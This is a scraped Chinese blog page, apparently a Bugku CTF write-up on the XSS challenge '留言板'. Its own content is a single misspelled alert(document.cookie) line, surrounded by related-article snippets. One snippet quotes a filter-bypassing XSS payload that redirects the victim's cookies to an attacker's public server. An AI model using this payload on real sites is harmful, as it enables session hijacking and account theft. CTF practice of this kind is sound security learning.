bugku_web_留言板

最新推荐文章于 2025-12-06 22:07:37 发布
原创 最新推荐文章于 2025-12-06 22:07:37 发布 · 83 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#前端

XSS

alert(docunment.cookie)

molianche
关注
BugKu_WEB_(1)
young的博客
07-21 1196
BugKu平台练习wp
Bugku-web-留言板
qq_68457525的博客
06-20 1081
ctf中关于xss跨站脚本漏洞的学习
BUGKU-WEB 留言板
默默提升实验室
02-07 1928
BUGKU-WEB 留言板
BUGKU-WEB 留言板1
默默提升实验室
02-18 2578
BUGKU-WEB 留言板1，xss双写绕过
bugku-web-留言板
m0_57954651的博客
10-31 5808
获取cookie的js代码 （alert(document.cookie)）
bugku-web-留言板1
m0_52484587的博客
12-02 631
大小写绕过也不行</sCRipT>双写绕过可以。
bugku 平台-web-【留言板1】wp
weixin_74357882的博客
07-13 751
本文介绍了bugku平台Web题【留言板1】的解题方法。题目需要利用XSS漏洞获取flag，通过双写+大写绕过过滤机制。payload使用了[img]<sCrSCriptipt>location.href="http://公网IP/?f="+document.cookie</ScScriptript>[/img]的形式，并在公网服务器上接收cookie信息。文中对比了该题与前作【留言板】的区别，指出本题无需登录admin.php即可完成攻击。
Bugku——web
chongya927的博客
03-05 2920
菜鸟学习CTF之路
BUGKU 留言板
热门推荐
qq_56313338的博客
07-22 2万+
bugku 留言板的解题思路 web
web留言板
06-06
Web留言板 (0分) 设计一个简单的基于Web的留言板，要求如下：1）系统中所有页面，如果用户没登录，则让用户返回到登录页面login.jsp（说明：login.jsp页面填写用户的用户名和密码）；2）留言板（message.jsp）页面中...
Bugku Web专项（持续更新）
weixin_69065643的博客
07-30 570
点击网址访问网址，他让我们输入一个flag参数我们查看页面源代码他告诉我们有经常设置secret_key 变量可以知道要传入一个名为flag的参数，又说我们经常设置一个secret_key我们传入参数 /?得到flag进入网址和第一关一样，让我们输入一个flag参数，查看页面源代码没有什么有用的信息，我们看一下config。
BugkuCTF Web篇
2201_75891821的博客
07-30 2198
Bug ku CTF web篇
【Bugku】Web系列(持续更新~~~)
m0_59151303的博客
07-30 389
打开环境在输入框输入答案发现只能输入一位数，那我们想到修改输入框内容长度，我们右击页面点击检查，找到输入框的代码修改长度为10。本题是POST传参，我们通过火狐浏览器的HackBar传入post参数，根据页面的代码我们传入一个what=flag。本题是GET传参，我们在url上传入参数，根据页面的代码我们传入一个what=flag，得到flag。我们右击页面点击检查，查看页面代码，得到flag。进入环境，出现一个弹窗，点击确实发现什么也没有。点击验证，弹出窗口，得到flag。打开环境，发现一段PHP代码。
Vue 通用复选框组互斥 Hooks：兼容 Element Plus + Ant Design Vue
a3212768093的博客
12-02 861
本文介绍了一个通用的Vue Hooks useExclusiveCheckbox，用于实现复选框组的互斥选择功能。该Hooks兼容ElementPlus和AntDesignVue两大UI库，主要特点包括：跨UI库兼容、轻量无依赖、灵活配置互斥选项值、全场景适配和类型安全。核心逻辑通过对比新旧选中值数组，自动处理互斥选项与其他选项的切换关系。文章提供了完整代码和使用示例，分别演示了在ElementPlus和AntDesignVue中的实现方式，并解答了常见问题。该方案可显著提升开发效率，适用于各类需要互斥选择
深度解析前端input标签：从默认样式覆盖到浏览器自动填充和兼容以及文本域
鹏多多的博客
12-03 994
HTML表单中的<input>标签是核心交互元素，支持多种输入类型（如文本、密码、单选、文件上传等），通过type属性定义不同功能。其核心属性包括数据标识（name/id）、状态控制（disabled/readonly）、验证限制（pattern/maxlength）和交互优化（autofocus/autocomplete）。浏览器默认样式存在兼容性问题，可通过CSS重置实现统一外观，特别是对单选/复选框需要特殊样式覆盖处理。自动填充功能基于name属性和表单上下文触发，可通过autocompl
ruoyi集成camunda实现bpmn在线设计器
xrl2012的专栏
12-03 1203
摘要： 本文介绍了如何在RuoYi-Vue2前端集成Camunda BPMN在线设计器，实现流程建模功能。通过npm安装bpmn-js等依赖包，配置vue.config.js解决转译和别名问题，并提供了测试页面代码示例。页面包含导入/导出XML/SVG、流程检查、部署等功能，支持BPMN流程设计器的初始化和基本操作。环境要求包括JDK 1.8+、MySQL 5.7+、Node 23+等。完整方案可参考若依工作流。
学Java第五十三天——IO综合练习（1）
最新发布
weixin_67566799的博客
12-06 331
是用的糊涂包Hutool，其余的。完整的获取姓氏的代码。
前端仿真驱动创新：西门子FLOEFD的行业价值与应用指南
anscos的博客
12-05 1077
西门子Simcenter FLOEFD作为嵌入CAD的CFD解决方案，精准击中了现代研发“高效迭代、精准预判”的核心需求，其技术革新与应用实践为多行业带来了研发模式的重构，成为高端装备设计不可或缺的核心工具。西门子FLOEFD以“CAD原生、智能高效、多场协同”为核心，打破了设计与仿真的壁垒，尤其适配新能源、电子、增材制造等快速迭代的行业。其价值不仅在于缩短研发周期、降低试验成本，更在于推动工程师将“仿真思维”融入设计全流程，实现从“经验驱动”到“数据驱动”的转型。
多层环形图，自定义tooltip
好记性，不如烂键盘。
12-05 575
多层环形图，自定义tooltip。
bugku web Simple_SSTI_2
03-27
嗯，用户需要关于Bugku平台上Web题目Simple_SSTI_2的解决方案或详细信息。首先，我得回忆一下SSTI（服务器端模板注入）的基本概念。SSTI通常发生在使用模板引擎渲染用户输入时，如果未正确过滤输入，攻击者可以注入...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值